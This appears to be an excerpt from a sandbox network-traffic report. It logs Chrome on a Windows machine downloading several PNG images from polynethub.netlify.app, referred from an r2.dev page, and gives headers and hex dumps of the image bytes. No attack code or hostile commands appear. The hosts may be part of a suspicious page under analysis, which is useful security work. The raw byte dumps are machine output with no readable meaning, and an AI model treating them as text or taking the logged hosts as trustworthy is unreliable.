2025-03-13 09:09:53 UTC	2372	IN	Data Raw: 1d 42 e1 15 ae 84 f6 d3 5d a6 38 06 06 c2 e0 87 1b b8 7e 50 18 70 9c d7 1a 04 85 57 18 7b 69 3e 81 71 b0 d7 57 ba b6 b5 88 ab a7 94 1c 6a 0e a1 f0 0a 57 40 0f 41 0c 52 8e c1 71 26 70 29 e5 ce 40 08 0a af 30 ee fa 06 ee 36 02 c2 6b c5 1c a0 14 b4 6c 0e 81 79 85 ef f3 6e 68 21 93 9e 63 18 a8 8e a1 87 62 20 f9 04 20 36 8c 31 f8 36 ef 86 16 32 e9 05 14 22 0a 10 ce 92 3e ce e0 13 30 87 10 69 f5 45 de 0d 2d 64 d2 f4 2a de 77 b2 63 c0 bc 42 ec 13 c4 74 22 82 c1 74 de 0d 2d 64 12 3c 52 88 39 d8 13 91 22 e6 15 32 38 84 48 c5 48 61 bc 15 18 31 20 3a 33 7a 05 61 0c 1e 19 21 20 1a 75 c6 b2 d0 ff 47 cf 0d c1 01 35 08 3c b7 0c 7b 85 5e 06 87 30 59 44 88 e3 2f 3d 99 9c e6 80 3b 06 dc 27 58 1c c2 64 91 36 18 7f 19 63 44 ae 33 cc 1c b4 32 39 84 22 42 1c 7f 99 63 44 6e 10 Data Ascii: B]8~PpW{i>qWjW@ARq&p)@06klynh!cb 6162">0iE-d*wcBt"t-d<R9"28HHa1 :3za! uG5<{^0YD/=;'Xd6cD329"BcDn
2025-03-13 09:09:53 UTC	538	IN	Data Raw: 61 b9 b5 8c 41 49 2c 8c a0 03 a8 0c 79 03 6b c3 74 65 c1 80 8f 10 37 6a 5c d5 79 63 f7 c8 18 88 e1 0e 63 c8 82 41 87 7a 41 7f a7 2a 6e d4 94 c7 8f 46 d5 e6 5c e1 7e 2a 88 3d e0 79 83 a5 db 62 c4 68 e5 40 f7 09 eb d7 54 ad 47 52 fb b8 4f 7f 4b 95 d3 30 b0 79 05 05 03 3e de 62 0f 34 bf f4 51 bc 74 a8 c2 24 ec 2f 72 92 82 01 1f ee b0 ae b1 60 50 4f dd a7 c2 17 2e d8 37 2f 45 27 6f 89 55 d6 6c 89 83 26 91 45 8c 73 c9 9e 8d 03 cd 27 4c b4 d2 fd 4b 59 50 8a 00 05 ae ad 6b 3b dc 6c 5e 41 c1 80 19 45 7f 85 76 6f 7e 18 f0 9d 26 95 58 ec 71 63 4b 90 14 0c c4 3c 20 ad 9a 05 83 38 16 4a dd 08 cf 27 2b 5a 68 88 10 09 4c 69 c4 73 0a d9 66 96 88 4f f8 51 33 e5 13 0e c0 81 8a 01 54 00 da f6 6c 6e 8b 82 41 c0 fa 88 e5 d1 72 c3 a0 56 91 83 2b 49 c8 fd 14 0c d8 ea 11 fe 42 Data Ascii: aAI,ykte7j\yccAzAnF\~=ybh@TGROK0y>b4Qt$/r`PO.7/E'oUl&Es'LKYPk;l^AEvo~&XqcK< 8J'+ZhLisfOQ3TlnArV+IB
2025-03-13 09:09:53 UTC	1661	IN	Data Raw: 1d 5d bc 74 03 c6 a0 25 38 78 ff bc 7b 72 f7 7d da f5 d3 e0 e1 d7 93 93 ee f3 f7 9c 02 c4 18 2c fe 81 dc 57 6e c7 18 61 b0 01 cd 20 98 f2 c9 23 62 50 67 8b 53 52 3d 5e c6 36 2f dd 64 d6 22 35 39 50 f7 d9 7e 15 2b 06 24 e2 11 1c c0 e3 90 00 f4 09 cc 1c 90 ae 7e ff ee f7 93 bb 77 ef fe 73 1d c0 60 fd 37 72 e4 e4 f7 77 ef 29 05 e8 87 95 c1 db c6 0f 63 dc 30 e0 fb 53 d4 6b b3 4c 0f bc b7 6c 44 0c 36 d4 89 0b 2e be 7b 45 ef aa 25 37 1a 51 a6 6b c0 1e 1f b8 13 5a df b5 c4 39 58 01 39 f8 05 36 06 cc 1c 4c f4 3e fc 76 f7 84 70 70 f2 fe 5a 3f 85 41 ff da af 11 05 27 77 57 3e f4 26 50 63 40 cc 81 e9 ef f4 8c 1d 06 7c 05 59 7a 28 6e 58 3e 3e 22 06 3b e0 6e 35 74 01 2c 4b 32 44 4b e6 65 5d e7 99 16 e0 fa f8 1e c6 15 e8 b9 21 3e 81 99 83 56 34 5f 7c 46 0c c2 c9 bb 6b Data Ascii: ]t%8x{r},Wna #bPgSR=^6/d"59P~+$~ws`7rw)c0SkLlD6.{E%7QkZ9X96L>vppZ?A'wW>&Pc@\|Yz(nX>>";n5t,K2DKe]!>V4_\|Fk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	3.124.100.143	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:52 UTC	662	OUT	GET /mgs/prog.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:53 UTC	421	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 53894 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 2833 Content-Type: image/png Date: Thu, 13 Mar 2025 09:09:53 GMT Etag: "a7c51b41fd84a8109554aae7fef739ec-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C8VR3S8VKMWD9YV128N0W Connection: close
2025-03-13 09:09:53 UTC	765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b9 00 00 00 56 08 06 00 00 00 52 31 e8 cb 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 0a a6 49 44 41 54 78 5e ed dd cb 6e dc d6 1d c7 f1 02 41 1f a0 40 9f a4 7d 91 16 f6 ca ab 1a ed 33 b4 90 81 b8 2b ad bc e9 42 f0 46 80 d1 02 86 13 a4 4b 2d ac 85 ba f5 05 50 91 42 83 14 51 9a 1a 55 5d 5b 96 2c 27 f2 a5 4e 04 bb 39 e5 ef 90 7f ce e1 19 ce 78 78 d1 0c e7 e8 fb 01 88 cc f0 72 0e 2f ca f9 99 e4 21 e7 47 0e 00 80 44 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 Data Ascii: PNGIHDRVR1sRGBgAMAapHYsodIDATx^nA@}3+BFK-PBQU][,'N9xxr/!GDrdrdrdrdrdrdrdrdrdrdrdrd
2025-03-13 09:09:53 UTC	2068	IN	Data Raw: a8 ae d4 ce e6 08 b9 05 d2 eb b7 14 36 1a 9a 3c 07 d7 95 ea b2 7a 79 05 18 30 7c 7a fd 96 c2 46 c3 22 ce e2 8c ea b2 7a 53 79 05 18 21 b7 40 7a cf a4 82 46 6f 29 69 ea 70 27 bf e4 f8 d1 8d 7d d7 e6 df 58 f6 66 14 ad 03 80 61 b3 1e 95 6d ce a8 8e b6 af b9 4b 57 ae e6 c3 f5 2d d7 f4 6e 9e 9d 41 a6 d2 d3 92 90 5b 20 bd 50 59 41 a3 d7 71 35 73 e2 ee 8f 4e 9c 1b 8d 5a 87 9c ea 54 dd 5a 07 00 c3 a6 17 2a 2b 68 1a f7 a8 dc db c8 c2 6d c3 ed 15 5f 7d e0 dd da 2d be cd c7 7a 5a 6a 1d 52 40 c8 2d 90 7e 39 40 41 a3 f7 4e b6 d2 21 e4 54 a7 ea d6 3a 00 18 36 fd 72 80 82 46 ef 9d 6c 62 ef d6 55 b7 b6 fd b4 f8 96 39 de 72 6b 0d cf e6 54 a7 ea d6 3a a4 80 90 5b 20 fd 44 8e 82 a6 f5 fd b8 0e 21 67 f7 e5 b4 0e af de bc 65 60 60 18 f0 60 3f 97 d3 f9 7e 9c ce ec 1a 9e c9 d9 Data Ascii: 6<zy0\|zF"zSy!@zFo)ip'}XfamKW-nA[ PYAq5sNZTZ*+hm_}-zZjR@-~9@AN!T:6rFlbU9rkT:[ D!ge```?~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49743	3.124.100.143	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:52 UTC	662	OUT	GET /mgs/icon.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:53 UTC	421	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 0 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; fwd=miss Content-Length: 576 Content-Type: image/png Date: Thu, 13 Mar 2025 09:09:53 GMT Etag: "b5fa37ee0569700b0d1006b7e01c45c8-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C8VRTQPSH0W8APVMS9134 Connection: close
2025-03-13 09:09:53 UTC	576	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1d 00 00 00 1a 08 06 00 00 00 4b 96 57 b7 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 01 d5 49 44 41 54 48 4b ed 95 4b 28 44 61 18 86 95 8d b2 62 41 59 d9 c9 ce ca ca 46 51 62 61 ad 64 61 61 c3 c2 42 6a 52 13 c9 42 83 24 0a b9 45 22 44 49 62 85 d4 34 c6 8c fb 65 86 99 cc 0c cd 60 32 23 cd b8 cc e6 e3 1b fd 75 9a f3 9e cb c8 65 63 f1 6c ce ff 9d e7 a9 ff fc e7 9c 14 ff 53 8c 7e 9b ff e8 8f 92 54 74 df 1f a5 09 5b 90 ba b6 02 64 58 f5 51 bf f9 8e 36 5c 4f 70 56 0d 5d 51 8e 35 ad f8 28 a7 7d 8f 52 9b 77 64 64 b5 da a9 62 cc 41 66 6f 04 de 9f 88 66 74 e5 2c 4c 79 9d 07 30 86 18 b3 06 a1 47 8a Data Ascii: PNGIHDRKWsRGBgAMAapHYsodIDATHKK(DabAYFQbadaaBjRB$E"DIb4e`2#ueclS~Tt[dXQ6\OpV]Q5(}RwddbAfoft,Ly0G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49744	3.124.100.143	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:52 UTC	666	OUT	GET /mgs/eyeslash.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:53 UTC	420	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 52859 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 891 Content-Type: image/png Date: Thu, 13 Mar 2025 09:09:53 GMT Etag: "3b2dc72c3ac4bd3b3de6ea834107239e-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C8VVJ3PWPASQGZ4TRXFXR Connection: close
2025-03-13 09:09:53 UTC	766	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 23 00 00 00 1c 08 06 00 00 00 eb f5 06 21 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 03 10 49 44 41 54 58 47 ed 96 db 4b 54 51 14 c6 fb 63 82 48 0a bb 78 6b ba d9 c5 2c 8c c2 32 2f 0d 56 f4 10 a6 99 f4 14 96 97 a2 24 c2 4c cb 20 b4 31 c3 8a 24 53 1b 83 34 e8 a2 a3 8e 16 35 2a 8a a3 63 62 0f 42 33 a3 cc eb 8c 8c b0 3a df 9a bd 0f 33 cc 1c e7 68 24 3d f8 83 83 9e ef ac d9 fb 3b 7b af b5 f6 59 47 ff 11 6b 66 b4 58 33 a3 45 88 19 4b 6f 1f 7d fc f4 59 dc ad 3e 21 66 8c b9 67 69 fd 86 18 aa aa ae 11 ca ea 12 62 c6 6a 1d a0 e4 03 29 6c e8 cc b9 f3 42 8d cc cf e9 69 72 4c 4d 91 cf e7 13 ca df 13 Data Ascii: PNGIHDR#!sRGBgAMAapHYsodIDATXGKTQcHxk,2/V$L 1$S45*cbB3:3h$=;{YGkfX3EKo}Y>!fgibj)lBirLM
2025-03-13 09:09:53 UTC	125	IN	Data Raw: fe 35 0f 6b 59 d3 4b 54 33 12 1c 82 30 80 43 51 4e 86 0b 87 26 0e 4f 1c a2 38 4c 41 77 8f 85 0e 1d 4e e3 e7 30 eb f1 78 58 8f 86 6e 33 c1 e0 b3 01 9f 0f f8 8c d0 02 15 04 23 30 b4 ef 60 2a 59 07 06 c5 13 6d 56 64 66 39 54 dd af 61 43 f8 70 8b c6 3f 37 03 de 9a 3b e8 41 ed 23 71 a7 cd aa 98 d1 cb 9a 99 c8 10 fd 01 1e 2c f2 87 54 df ab 6d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 5kYKT30CQN&O8LAwN0xXn3#0`*YmVdf9TaCp?7;A#q,TmIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49745	3.124.100.143	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:52 UTC	662	OUT	GET /mgs/tad1.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:53 UTC	421	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 50191 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 6472 Content-Type: image/png Date: Thu, 13 Mar 2025 09:09:53 GMT Etag: "f4e7fa70f231495f66f18ec5cf5dac24-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C8VVVN9Y56BNGVCHXFM5M Connection: close
2025-03-13 09:09:53 UTC	765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 33 00 00 00 33 08 06 00 00 00 3a a1 30 2a 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 18 dd 49 44 41 54 78 01 cd 5a 09 74 5b e5 95 be 6f 7f 7a 4f fb 2e 5b de 62 3b de b2 c7 59 49 88 29 24 69 3a a4 ac 01 0a 94 29 2d 2d ed 9c 96 29 73 e8 32 4b 8b 3b d3 2d 53 86 b6 74 80 12 4a a1 50 ca 12 4a 1a a0 93 90 06 e2 10 12 87 d8 89 9d cd b1 1d 3b 56 2c db b2 2d 5b fb f2 a4 b7 cd 95 12 32 09 0d 90 cc f4 f4 cc cd 79 47 b1 de d3 ff ff df ff df fb dd ef 5e 89 80 f3 ad b5 95 b4 bf b7 d8 18 99 0c 2a 70 f0 de 0c 5c 82 3d 01 0b 99 d2 19 ce 35 65 9c c9 34 35 1d dd 75 f5 e4 5b 13 f0 57 b2 1f 38 17 fa 8c 82 b9 Data Ascii: PNGIHDR33:0pHYssRGBgAMAaIDATxZt[ozO.[b;YI)$i:)--)s2K;-StJPJ;V,-[2yG^p\=5e45u[W8
2025-03-13 09:09:53 UTC	2372	IN	Data Raw: fd 80 65 e3 bf 51 7a be 37 33 3e f9 43 b8 0c 0b 65 93 3f 3f 99 1a 2f 4f 67 c7 8e 6e 3b d0 fe 1f 17 7b 86 8b 25 92 e4 d0 29 9d a0 59 d2 c1 b0 2c 1d 0f ed 3f 62 b5 d6 1f e4 3d 35 eb 08 93 f9 39 45 c9 86 79 d5 39 4d 00 19 9c 31 67 e4 ed 49 ee f1 3f 26 f7 7d 25 dc be b5 ba 3a a7 aa 35 e1 70 bc fd 96 7b a3 71 9f 2f c9 8a 16 67 95 12 8f 11 ac 2c 8b 34 c7 7b 2a 28 97 7a 2c 3b f5 f3 d9 92 fb 0a 87 d5 5d 7b 15 15 e0 5e de f2 e3 cf 59 ca e7 a6 7b 5e ff c2 18 5c 86 fd b1 e7 cd 93 21 2d f7 65 2f 0f b1 b9 31 ab b4 d5 d4 5c c7 e7 74 82 ca 53 e1 77 41 88 97 39 43 86 1a 8d 6f d1 27 a2 42 9e e5 92 c7 c3 c1 69 7a aa eb df 43 94 a5 ee 5f 28 42 4d b0 e6 b2 9b 49 5a f4 c8 aa 0a 52 2e a5 53 9a b0 c4 53 d6 3c be f5 b1 ea 63 cb e6 99 1f 16 cd c4 bc 9d 7f 54 37 02 44 1f bd 37 74 Data Ascii: eQz73>Ce??/Ogn;{%)Y,?b=59Ey9M1gI?&}%:5p{q/g,4{*(z,;]{^Y{^\!-e/1\tSwA9Co'BizC_(BMIZR.SS<cT7D7t
2025-03-13 09:09:53 UTC	538	IN	Data Raw: 0c 34 c1 98 d0 75 0d 8c 2e b3 58 d9 51 ba 32 a1 e6 e4 b4 9a cf c6 b2 59 69 54 ca 24 47 72 b9 54 84 20 e8 28 ce 95 56 88 5c 22 11 4b ed fb 48 30 57 d4 81 b1 be dc b6 c6 53 25 99 33 b9 a3 10 1f 5d 82 0e 83 54 3c 64 87 d3 86 2b a0 7e 71 02 0c 54 ff 99 d8 41 14 64 11 10 96 75 45 9f 23 90 b6 01 cc 22 9e 4a 3e 07 d1 48 12 d0 dd 81 37 60 a1 82 2e 77 7a aa 16 b6 f6 5d 0f 9d e3 4b 61 22 63 23 18 82 70 32 48 24 94 24 c9 1c ab 05 99 9c 3c 92 4c 4f 0f c6 26 87 3a e2 f1 48 57 4e 93 c2 91 5c 3c ea cf 46 a2 6d 6d ad ca c5 d6 7b 01 98 cf 7a e6 88 b7 97 cd 5c 94 4f a6 42 d7 f5 6d ef ab 2a 15 6a cb fd e6 79 04 47 53 0e 5f 27 44 02 4e 88 8d 54 16 c5 e5 e4 09 3f 08 fc d5 50 b7 24 83 bb 7f ba 98 24 09 04 54 08 0b 12 51 91 c5 d3 22 20 87 c2 40 34 08 c8 6a 79 48 27 63 70 62 6c Data Ascii: 4u.XQ2YiT$GrT (V\"KH0WS%3]T<d+~qTAduE#"J>H7`.wz]Ka"c#p2H$$<LO&:HWN\<Fmm{z\OBm*jyGS_'DNT?P$$TQ" @4jyH'cpbl
2025-03-13 09:09:53 UTC	2797	IN	Data Raw: b1 8c cf c8 ce 76 f0 9a 6c cc a6 db 7b c2 a0 5e 36 98 eb ca 0d ba 5d 37 09 64 2e 5f 36 10 0f 87 d8 fa d3 cf d4 cd 71 dc 23 d9 8d 8e 82 64 21 30 49 16 b2 bd cd 31 82 65 8f 11 e4 29 0f c8 04 87 1b 4f 40 32 e4 06 55 f5 82 bd 2a 8d 6c 33 85 83 12 45 30 34 52 0e 83 14 c4 20 18 9a 2f 34 80 70 3a 4c f0 ee 99 1c 2c 2c 3b 0a 55 ca 3b c0 b3 b8 29 79 01 40 a6 8a a7 a8 67 14 48 63 49 51 ea 64 1b 05 2b 3b b9 65 5f f2 18 fc 59 fe f9 18 30 6f 84 42 1a e3 a4 7b bd 59 ba 63 20 1e db 6e 5e a9 cd f1 d4 da 3f 93 62 18 52 cd cb 40 a1 5f a3 16 06 8e d2 c0 e7 1d 04 49 15 21 36 8d f1 53 70 2b fc 97 9a 74 81 94 29 07 6f 1d 92 02 33 5d a4 4c 86 a3 b1 d8 a4 b1 04 41 20 48 d1 78 03 a0 f8 6a 00 de ed 05 8d 2b 85 e9 b1 34 c8 a9 24 70 22 8e 83 73 e4 d3 08 06 a5 3a 49 e8 82 95 21 7c 0d Data Ascii: vl{^6]7d._6q#d!0I1e)O@2U*l3E04R /4p:L,,;U;)y@gHcIQd+;e_Y0oB{Yc n^?bR@_I!6Sp+t)o3]LA Hxj+4$p"s:I!\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49754	3.125.36.175	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:55 UTC	396	OUT	GET /mgs/d2.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:55 UTC	420	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 6543 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 8432 Content-Type: image/png Date: Thu, 13 Mar 2025 09:09:55 GMT Etag: "5b7dea020bc67c769ded6acd97eea7a4-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C8Y7WVZE7HKMBKPPRQB2F Connection: close
2025-03-13 09:09:55 UTC	766	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 ab 00 00 00 81 08 06 00 00 00 bf df 4a 49 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 20 85 49 44 41 54 78 5e ed 9d 87 7f 54 45 d7 c7 df bf 42 7d 49 21 1d 12 40 05 95 c7 e7 55 1f 20 20 02 0f 22 20 28 28 88 82 74 01 a9 e9 21 09 55 50 14 05 29 4a 93 0e d2 a5 77 50 3a 81 10 48 08 84 40 2a 09 69 24 21 09 04 c8 79 e7 cc ce 4d b6 9c ad f7 ee ee ac e6 7c 3e df 0f 65 77 e7 ce dc f9 dd 33 67 ea fd 1f 68 b2 26 f3 10 b3 49 ac f9 67 76 c0 83 73 db c4 bf 9a ec ef 66 cf 6b 2a e0 68 dc 07 90 93 76 45 fc 8f 9c 66 55 ac 35 95 0f 61 da 7f 9a 41 5c b8 17 9c 1e f7 0a 54 1c 5b 0a 4f cb f2 c4 a7 4d e6 c9 56 93 Data Ascii: PNGIHDRJIsRGBgAMAapHYsod IDATx^TEB}I!@U " ((t!UP)JwP:H@i$!yM\|>ew3gh&IgvsfkhvEfU5aA\T[OMV
2025-03-13 09:09:55 UTC	2372	IN	Data Raw: e6 8d 39 35 32 10 e2 3b 7b f3 3e 06 55 5f e6 98 f5 a1 9c a1 80 59 b1 da 12 02 50 44 b3 b0 60 6e 77 5f 48 1e 6b 1a 16 18 83 de 36 87 05 ff c5 6b c7 41 6d c6 69 71 e5 26 33 b6 67 15 85 50 71 f2 57 c8 9f d7 45 34 f3 b4 38 f5 d9 f2 09 36 fb 8d 3d 7d 7b 88 eb de 02 72 d2 e5 0b 05 48 b1 da 13 02 50 60 58 80 7f ee ff dc 7c 58 60 0c 0f 13 92 de 84 87 07 be 87 ba a2 4c 91 93 7f b6 55 a7 ec 85 c2 65 83 20 27 3a 0c 72 e2 5e 21 45 69 cc 8d 89 c1 b0 b0 97 9f cd cd 3e 05 0f 05 96 cc 14 b9 90 c7 48 b1 5e dc bb c9 ee 10 80 02 c3 02 9c 1d c9 9e 4a 0b 94 02 3b 64 b9 31 2f 43 e1 0f bd a0 ea dc 26 a8 7f fc 48 e4 ea 9f 61 8f ef 5d 86 d2 df a3 b9 38 b1 47 4f 09 d2 1c c7 87 07 f0 7b 6e 6f b3 4f 21 63 28 40 8a d5 d1 10 80 02 9b a2 59 ef f9 c0 85 31 d6 c3 02 63 f2 58 93 97 c3 7a Data Ascii: 952;{>U_YPD`nw_Hk6kAmiq&3gPqWE486=}{rHP`X\|X`LUe ':r^!Ei>H^J;d1/C&Ha]8GO{noO!c(@Y1cXz
2025-03-13 09:09:55 UTC	538	IN	Data Raw: bc dc db 3f c0 21 2b dc cd 5a 74 ef 96 a8 79 f9 cc aa 58 77 2c 88 72 db 42 ec 84 ce cd 60 ff 50 1f 3e 4e 79 c0 8e f7 c0 5a 02 07 f1 b5 12 6b 79 82 36 79 c2 17 80 e0 fb 56 97 f5 f5 81 85 ef bb c7 cb 62 d3 3f b3 6f 5b 29 c7 57 15 33 2b 56 0c ae 67 f7 7f 03 62 ba b8 76 5b f6 f7 3d bd 60 ff 97 7e 90 1d e3 cf 3a 30 ba 1e f7 d5 f1 da 88 02 c1 41 7c ad c4 8a 87 5a 50 d7 70 94 c2 38 dd 71 99 65 09 cd 21 79 62 00 ac ee ef 0d 71 e1 f4 7d 72 16 e8 98 8e fe b6 50 a8 40 2e 33 2b d6 d2 82 6c 97 4c b9 c6 74 6a 06 ab fa 79 c3 a5 af 03 a0 94 55 d2 43 56 59 0d 62 9a 15 08 25 f1 f6 f7 f8 2d 81 83 f8 c6 a2 73 14 1c b3 a5 ae e1 28 78 7a 8c fe e2 f0 8a 19 fe fc df 77 a3 fd e1 8f 2f 7c e1 db 1e ce f7 ba b1 ef 05 c1 fe 65 73 84 0a e4 32 8b 61 40 56 ca 39 b2 40 6a 99 d7 dd 0b 76 Data Ascii: ?!+ZtyXw,rB`P>NyZky6yVb?o[)W3+Vgbv[=`~:0A\|ZPp8qe!ybq}rP@.3+lLtjyUCVYb%-s(xzw/\|es2a@V9@jv
2025-03-13 09:09:55 UTC	4744	IN	Data Raw: 24 f9 f3 fb 9f 3e 2d 00 36 7d e2 c3 cf ff a2 ea 4b 01 fb 26 f7 ef a4 8b 9a 96 d7 6c 16 2b da 8a 69 83 0c c6 5c 13 bb 34 83 0d 03 bd e1 c6 d4 40 fe 64 57 68 e1 b1 9c d8 fc 2b 60 65 52 d7 b6 07 14 ab b9 85 d7 5a 61 4b 38 60 0d f4 ba 95 ac 15 c8 8f f5 87 a3 23 fd e0 c7 5e 86 c2 c5 de ff cd 73 f2 be 51 5c df ec 12 eb d3 ba 27 b0 78 68 47 38 3c dc 0f f2 58 e1 b1 79 c7 9b 41 dd 24 87 c0 e6 7f ba 73 05 80 e0 60 3e 79 7d 3b 40 b1 5a 5a 78 ad 05 98 3e 75 6d 35 60 27 ad 3c b1 39 5c 9b 1c 00 1b 07 05 c0 f9 3d eb 45 ed ca 6f 76 89 15 ad fc e4 52 e6 fd 34 14 68 03 d8 fc 6b 37 9e 6a 09 1c cc a7 f3 60 3b d8 02 60 6c 49 a5 af 25 b8 4a cc d1 70 c0 1a 0f e7 b6 12 b5 ea 19 66 b7 58 1f af 1b 48 16 5c 2d ae 68 fe 15 b4 5a 80 6d cb c2 6b 2d d0 22 1c 20 99 17 0a cf ef 5f 17 35 Data Ascii: 